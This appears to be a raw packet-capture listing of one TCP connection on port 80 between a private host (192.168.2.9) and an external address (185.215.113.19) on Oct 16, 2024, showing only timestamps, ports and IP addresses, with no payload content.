Oct 16, 2024 19:22:40.315728903 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315742970 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315747976 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315752029 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315762043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315886974 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315891981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315901995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315907955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315912008 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.316545010 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.316550016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.316554070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317086935 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317128897 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317132950 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317142010 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317152977 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317154884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317214966 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317219019 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317270994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317275047 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317284107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317630053 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317640066 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317643881 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317694902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317699909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317703962 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317708015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.317951918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318437099 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318442106 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318450928 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318650961 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318655014 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318665028 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318671942 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318912983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318917036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.318926096 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319058895 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319063902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319073915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319164038 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319232941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319237947 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319247007 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319355011 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319490910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.319494963 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.334433079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334527016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334527016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334573030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334573030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334934950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334934950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334934950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334934950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334934950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334997892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.334997892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335030079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335030079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335078955 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335078955 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335196972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335196972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335196972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335196972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335196972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335197926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335235119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335235119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335345984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335345984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335345984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335345984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335345984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335407972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335407972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335550070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335551023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335551023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335592985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335593939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335624933 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335784912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335784912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335784912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335856915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335856915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335936069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335949898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.335949898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336030960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336030960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336194038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336194038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336194038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336280107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336280107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336280107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336280107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336340904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336364985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336364985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336409092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336409092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336493969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336493969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336572886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336574078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336574078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336574078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336605072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336605072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336626053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336626053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336668015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336668015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336715937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336715937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336757898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336757898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.336894989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337038040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337038040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337038994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337038994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337054968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337054968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337102890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337102890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337233067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337234020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337304115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337304115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337321043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337321043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337371111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337371111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337404966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337404966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337485075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337485075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337485075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337485075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337486029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337541103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337541103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337554932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337554932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337677002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337677002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337677002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337742090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337742090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337762117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337763071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337905884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.337907076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338156939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338318110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338386059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338386059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338414907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338414907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338505983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338505983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338505983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338505983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338582993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338582993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338582993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338582993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338603973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338814974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338895082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.338895082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339047909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339047909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339047909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339047909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339049101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339071035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339071035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339140892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339140892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339337111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339410067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339410067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339410067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339410067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339514971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339514971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339514971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339514971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339545965 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.339678049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339678049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339678049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339678049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339678049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339701891 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.339713097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339713097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339730978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339782000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339782000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339906931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339906931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339906931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339906931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339919090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.339919090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340059042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340115070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340115070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340187073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340187073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340187073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340187073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340282917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340282917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340282917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340282917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340327978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340327978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340327978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340327978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340528011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340528011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340528011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340528011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340579987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340579987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340579987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340579987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340579987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340579987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340599060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340599060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340662003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340662003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340662003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340687990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340687990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340687990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.340694904 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.340708971 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.340719938 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.340851068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340851068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340851068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340851068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340852022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340852022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340852022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340852022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.340981960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341017008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341017008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341027021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.341031075 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.341041088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.341044903 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.341114998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341114998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341115952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341156960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341226101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341356039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341356039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341388941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341388941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341502905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.341509104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.341519117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.341519117 CEST	49716	80	192.168.2.9	185.215.113.19
